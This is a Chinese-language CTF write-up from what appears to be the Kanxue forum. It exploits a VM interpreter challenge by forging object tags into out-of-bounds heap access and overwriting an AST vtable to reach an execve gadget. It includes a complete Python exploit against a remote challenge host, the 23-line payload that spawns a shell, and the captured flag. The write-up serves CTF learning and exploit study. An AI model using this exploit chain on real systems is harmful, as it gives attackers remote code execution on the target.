KCTF 第十题：卯时·曦光初现 - PWN Writeup-CTF对抗-看雪安全社区

KCTF 第十题：卯时·曦光初现 - PWN Writeup

发表于: 2026-8-24 02:56 3201

KCTF 第十题：卯时·曦光初现 - PWN Writeup

yuzhouheike 活跃值

2026-8-24 02:56

3201

# PWN Writeup — 无回显寄存器 VM 解释器(flag{3f9a4448-f46b-4227-802f-3a5fdb3bfc6d})

> 难度:中上 | 类型:VM/解释器 pwn | 环境:Ubuntu 18.04 + glibc-2.27
> 最终利用:**23 行 VM 语句、零地址外泄、ASLR 免疫、单连接稳定 getshell**

---

## 0. 题目信息

```
pwn           ELF64 x86-64 PIE, stripped, C++, Full RELRO(BIND_NOW), NX, canary
libc-2.27.so  Ubuntu 18.04 (buildid f7307432a8b162377e77a182b6cc2e53d771ec4b)
remote        nc 123.57.66.184 10053
```

程序是一个交互式 REPL 解释器,提示符 `> `,每行 `getline(0x100)` 读一条语句。C++ 编写,namespace `interpreter`,RTTI 泄露出类名:`Literal / Number / Object / Ast / AssignLit / GetField / SetField / BinOp`。

**唯一输出**只有三种:提示符 `> `、`invalid syntax!`(解析失败)、`runtime error!`(求值失败),以及进程崩溃(连接断开)。**没有任何数值回显通道**——这是本题的核心难点。

---

## 1. 静态逆向(lief + capstone,无符号)

### 1.1 main 循环(PIE+0x2d09)

```
0x2e38  打印 "> "  (ostream_insert)
0x2e84  getline(cin, buf, '\n')
0x2ea2  用 buf 构造 std::string(>15 字符则堆分配)
0x2ed5  call 0x3d38          ; 递归下降解析 → 返回 AST 根节点 rax
0x2df9  rbx=rax; 释放行字符串; 若 rbx==0 → "invalid syntax!"
0x2e25  call [rbx+0x00]      ; ★ 虚调用 vtable 槽 0 = eval(rbx, vars)
0x2e27  test al,al → 0 → "runtime error!"
0x2e35  call [rbx+0x10]      ; ★ 虚调用 vtable 槽 +0x10 = deleting dtor, rdi=根节点
```

注意 **第二个虚调用槽是 `+0x10`**(不是 +8),且 `rdi = 根节点自身`。这是最终利用的跳板。

### 1.2 语法(对二进制 fuzz 实测得出)

| 语句 | 语义 |
|---|---|
| `$N=<十进制>` | `vars[N] = 数字`(仅低 48 位) |
| `$N=[1,2,3]` | 建对象(inline 序列化进 arena),`vars[N]=句柄` |
| `$N=$M` | 寄存器拷贝 |
| `$N=$M[i][j]…` | GetField:沿路径读字段 |
| `$N[i][j]…=$M` | SetField:写字段(**RHS 必须是寄存器**,字面量 → invalid syntax) |
| `$N<op>$M` | BinOp:`vars[N] = vars[N] op vars[M]`,op ∈ `+ - * / % ^ \| &` |

裸表达式、`$N[i]=字面量`、多语句拼接均 invalid syntax。

### 1.3 值模型(NaN-boxing 变体)

64 位值,高 16 位是 tag:

| top16 | 含义 | 低 48 位 |
|---|---|---|
| `0x1337` | **对象引用**(句柄) | 绝对指针 |
| `0xbeef` | **arena 内对象头** | 字段数 count |
| 其他 | 数字 | 数值(仅低 48 有效) |

### 1.4 内存布局(全局,PIE 相对)

```
0x2062a0  vars[256]      寄存器文件(索引检查 ≤0xff)
0x206aa0  arena.base  ─┐
0x206aa8  arena.cur   ─┤ new[](0x10000) 的 64KB bump 分配器
0x206ab0  key         ─┘ 每次启动从 /dev/urandom 读 8 字节随机 XOR key
```

**arena 内每个 qword 都以 `^key` 存储**:对象头 = `(0xbeef<<48|count)^key`,数字字段 = `value^key`。GetField 读 `[addr]^key`,SetField 写 `value^key`——读写自洽,XOR 对 arena 内操作完全透明。

### 1.5 关键函数

**BinOp::eval @0x30de**——漏洞所在:

```
检查: 两个输入操作数的 top16 都 != 0x1337,否则拒绝(runtime error)
运算: 64 位 op,结果原样写回 vars[dst]
★ 输出不做任何检查/清洗
```

**字段游走 @0x1eda**:从对象头地址线性扫描,每字段 8 字节;若字段值(`^key` 后)带 `0xbeef` tag 视为嵌套对象,递归跳过 `count` 个字段。头检查 `count >= index`。

**GetField::eval @0x36e6**:源寄存器必须 `0x1337` tag;沿路径游走;**最终读出的值若带 `0xbeef` tag 则拒绝**(防读原始头)。

**SetField::eval @0x3886**:写入值(vars[src])不得带 `0x1337` tag;目标对象(vars[dst])必须带;每层头检查;**最终写入位置当前值(`^key` 后)带 `0xbeef` tag 则拒绝**(防覆写头)。

---

## 2. 漏洞与原语构建

### 2.1 漏洞:BinOp 输出 tag 不清洗

乘法可以把任意值推入高 16 位。BinOp 只拦输入 `0x1337`,不拦输出,于是:

```
$1=48879            # 0xBEEF
$2=65536            # 2^16
$3=4294967296       # 2^32
$2*$3               # r2 = 2^48
$1*$2               # r1 = 0xBEEF<<48        (tag=0xBEEF,合法 BinOp 输入)
$4=8300
$1+$4               # r1 = 0xBEEF<<48|8300   (tag=0xBEEF, count=8300)
```

### 2.2 假对象头 → 前向 OOB 读写窗口

```
$0=[0]         # r0 = 0x1337|arena(真对象,头在 arena+0,字段0在 arena+8)
$0[0]=$1       # SetField 把假头写进字段0槽(存储为 假头^key)
```

此后 `$0[0][N]`(GetField)/`$0[0][N]=$V`(SetField)把 arena+8 当对象头游走:第 N 个字段在 **arena+16+8N**。count=8300 ⇒ 窗口 = `arena+16 … arena+66416`,覆盖整个 64KB arena 外加 **arena 之后约 2KB 的堆**——那里有每行解析分配的 AST 节点、locale 结构、以及稳定的运行时指针。

### 2.3 无输出通道的破局:**一切都在 VM 内计算**

key、libc、heap 全是运行时随机值且无法打印。但根本不需要打印:

- SetField 写的是 `寄存器值 ^ key`,而 key 就在寄存器里(`$V^$5` 一条 BinOp 就得到 `目标^key`,落盘即裸值);
- libc 指针、堆指针同样通过 GetField 读进寄存器后用 BinOp 做加减;
- **payload 里没有任何绝对地址字面量**,全部是"读槽位 → 寄存器运算 → 写槽位"。

因此整条链天然 ASLR 免疫,也无需任何 oracle 逐位外泄。

---

## 3. 堆测绘(arena 相对索引,对固定 payload 确定性恒定)

在 docker `ubuntu:18.04`(系统 libc 与题目 buildid 完全一致)中用 gdb 逐槽 dump,确认 arena 之后的堆:

| OOB 索引 | 地址(arena+) | 内容 | 稳定性 |
|---|---|---|---|
| 8193 | +0x10018 | `heap+0x10`(tcache 结构指针,启动时写入) | ✅ 恒定 |
| 8205 | +0x10078 | `libstdcxx+0x2d680`(locale 结构里的 facet vtable) | ✅ 恒定 |
| 8280 | +0x102D0 | **当前行 SetField AST 节点的 vtable 槽**(tcache LIFO 复用同一 0x30 chunk) | ✅ 对固定 payload 恒定 |

两个派生常数(仅依赖二进制+libc 版本,与运行环境无关):

```
arena = tcache_ptr + 0x11E60          # tcache 是堆首块,arena 是其后第二块大分配
libc  = leak - 0x3EC680               # leak = libstdcxx+0x2d680,同 mmap 组内布局固定
```

**注意**:索引全部相对 arena,ASLR 只平移基址,不影响索引;但行序列会改变 tcache 状态 ⇒ **payload 必须逐行原样发送**(实测 23 行版与 65 行版各自稳定)。

---

## 4. 终局:AST 节点自己的 vtable 改写

最后一行语句的求值时序是关键:

```
解析(分配 AST 节点) → eval(内部执行我们的 SetField 写) → call [vtable+0x10](dtor)
```

**写入发生在虚调用之前,而且写的就是"当前这行"的根节点 vtable 槽(索引 8280)**——自引用闭环:

```
arena 假 vtable(FV = arena+16+8*7000):
    [FV+0x10] = one_gadget        ← 第 16 行写入
根节点 vtable := FV              ← 第 23 行(SetField 自己)写入
eval 返回 → main: call [FV+0x10] → one_gadget
```

### one_gadget 选择(libc-2.27, buildid f7307432…)

没装 one_gadget 工具,直接 objdump 扫 `lea rdi,[rip+X]`(X 落在 `/bin/sh` 字符串 0x1b3d88)且 8 条指令内 `call execve`,得 4 个候选;逐一实测约束:

| 候选 | 入口约束 | 实测 |
|---|---|---|
| 0x4f2c5/0x4f322 | do_system 内部,fork 失败路径,寄存器状态不满足 | ✗ 崩在 do_system+1094 |
| 0x10a308 | `[rsp+0x70]==NULL` | ✗ 栈非零 |
| **0x4f302** | `rsi=rsp+0x40`(栈上内容当 argv,可读即可),`rdx=*environ` | ✅ **成功** |

```
4f302: mov  0x39bb9f(%rip),%rax   # __environ
4f309: lea  "/bin/sh",%rdi
4f310: lea  0x40(%rsp),%rsi       # argv ← 栈(行文本字节,可读)
4f329: mov  (%rax),%rdx           # envp
4f32c: call execve
```

argv 是垃圾字节但 execve 只要求可读;sh 起来后继续从 socket stdin 读命令——**直接就是交互 shell**。

顺带一提为何不用 `system`:虚调用点 `rdi=根节点`,同一 qword 既要当 vtable 指针被解引用、又要当命令字符串——`"/bin/sh\0"` = 0x0068732f6e69622f 是不可映射地址,物理矛盾。故必须用不依赖 rdi 的 execve gadget。

---

## 5. 完整 Exploit

```python
#!/usr/bin/env python3
# 23 行 payload + 打点。唯一外部知识:两个 build 常数(见 §3)。
import socket, time

LIBOFF = 0x3EC680                    # leak - libc_base
OG     = 0x4F302                     # execve gadget
OGD    = LIBOFF - OG                 # 3789694
CONST  = 0x11E60 + 16 + 8*7000       # FV = tcache_ptr + CONST  → 129328

lines = [
    "$0=[0]","$1=48879","$2=65536","$3=4294967296",
    "$2*$3",              # r2 = 2^48
    "$1*$2",              # r1 = 0xBEEF<<48
    "$4=8300","$1+$4",    # r1 = 0xBEEF<<48|8300
    "$0[0]=$1",           # 植入假对象头(窗口=arena+16..+66416)
    "$5=$0[0][0]",        # ★ r5 = key        (读 arena 清零槽: 0^key)
    "$6=$0[0][8205]",     # ★ r6 = leak^key   (libstdc++ vtable)
    "$7=$5","$6^$7",      # r6 = leak
    f"$14={OGD}",         # og 偏移常数
    "$6-$14",             # r6 = libc + 0x4f302
    "$6^$5",              # r6 = og ^ key
    "$0[0][7002]=$6",     # [FV+0x10] := og   (存回即裸 og)
    "$8=$0[0][8193]",     # ★ r8 = tcache_ptr ^ key
    "$8^$5",              # r8 = heap+0x10
    f"$9={CONST}",
    "$8+$9",              # r8 = FV = arena+16+8*7000
    "$8^$5",
    "$0[0][8280]=$8",     # ★★ 根节点(本行 SetField)vtable := FV
]                        #     eval 返回 → call [FV+0x10] → execve("/bin/sh")

s = socket.create_connection(("123.57.66.184", 10053), timeout=8)
s.settimeout(1.5)
s.sendall(("\n".join(lines) + "\n").encode())
time.sleep(0.8)
s.sendall(b"cat flag\n")            # shell 继承 socket stdin/stdout
time.sleep(1.2)
out = b""
try:
    while True:
        d = s.recv(4096)
        if not d: break
        out += d
except Exception: pass
print(out.decode(errors="replace"))
```

```
$ python3 exp.py
> > > > > > > > > > > > > > > > > > > > > > > flag{3f9a4448-f46b-4227-802f-3a5fdb3bfc6d}
```

---

## 6. 踩坑记录(按时间序,全是真实损失)

1. **调试机 libc 错配**:宿主 Ubuntu 24.04 / glibc-2.39,`./pwn` 实际链接系统 libc,而所有旧 payload 按 libc-2.27 算偏移 → 静默写飞、进程"正常退出"。教训:**先 `ldd`/buildid 对账,再谈偏移**。解法:docker `ubuntu:18.04`(系统 libc 与题目 buildid 逐字节一致)+ `--cap-add=SYS_PTRACE`。
2. **手算 hex 滑 0x40**:0xDB10≠56016(那是 0xDAD0),所有"神秘的 0x40 偏差"都是它。教训:**常数一律 python 算,不手写**。
3. **vtable 槽位误判**:先入为主以为 dtor 在 +8,跳到 0 才反汇编确认是 `call *0x10(%rax)`。教训:**先看调用点再写 gadget 槽**。
4. **网上抄的 one_gadget 偏移不属于这个 build**:0x4f2c5/0x4f322/0x10a38c 全崩在 gadget 内部。解法:objdump 自扫 `lea rdi→"/bin/sh"` + `call execve`,拿本 build 的 4 个候选再实测约束。
5. **堆槽稳定性分级**:locale 结构里 +0x78(libstdc++ vtable)与 tcache 指针恒定,但 AST/vector 区域的指针随行序列变化 → 用前者推 libc、用 tcache 指针推 arena,别用路径数组指针。
6. **`system`+命令字符串不可行**:rdi 双重身份(vtable/字符串)矛盾,必须用无 rdi 依赖的 execve gadget。
7. **行序列即布局**:tcache 状态由每行的分配/释放历史决定,payload 必须整体原样发送,不能"优化着删行"。

---

## 7. 总结

题目本质是三层套娃:

1. **tag 伪造**(BinOp 输出不清洗)→ 假 `0xbeef` 头 → arena 前向 OOB 读写;
2. **无回显**逼你放弃"leak→本地算→打回去"的传统流,改为 **VM 内全计算**(XOR key 在寄存器间自洽,从不出域);
3. **自引用时机**:OOB 写正好够到"正在求值的这一行"的 AST 节点 vtable,写入与 main 的下一次虚调用天然同步,无需任何持久化对象。

三者缺一不可,最终 23 行语句稳定起 shell。

*工具链:lief + capstone(静态)、docker ubuntu:18.04 + gdb(动态)、纯 socket(打点)。*

登录后可查看完整内容

传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！！

收藏・1

点赞・6

打赏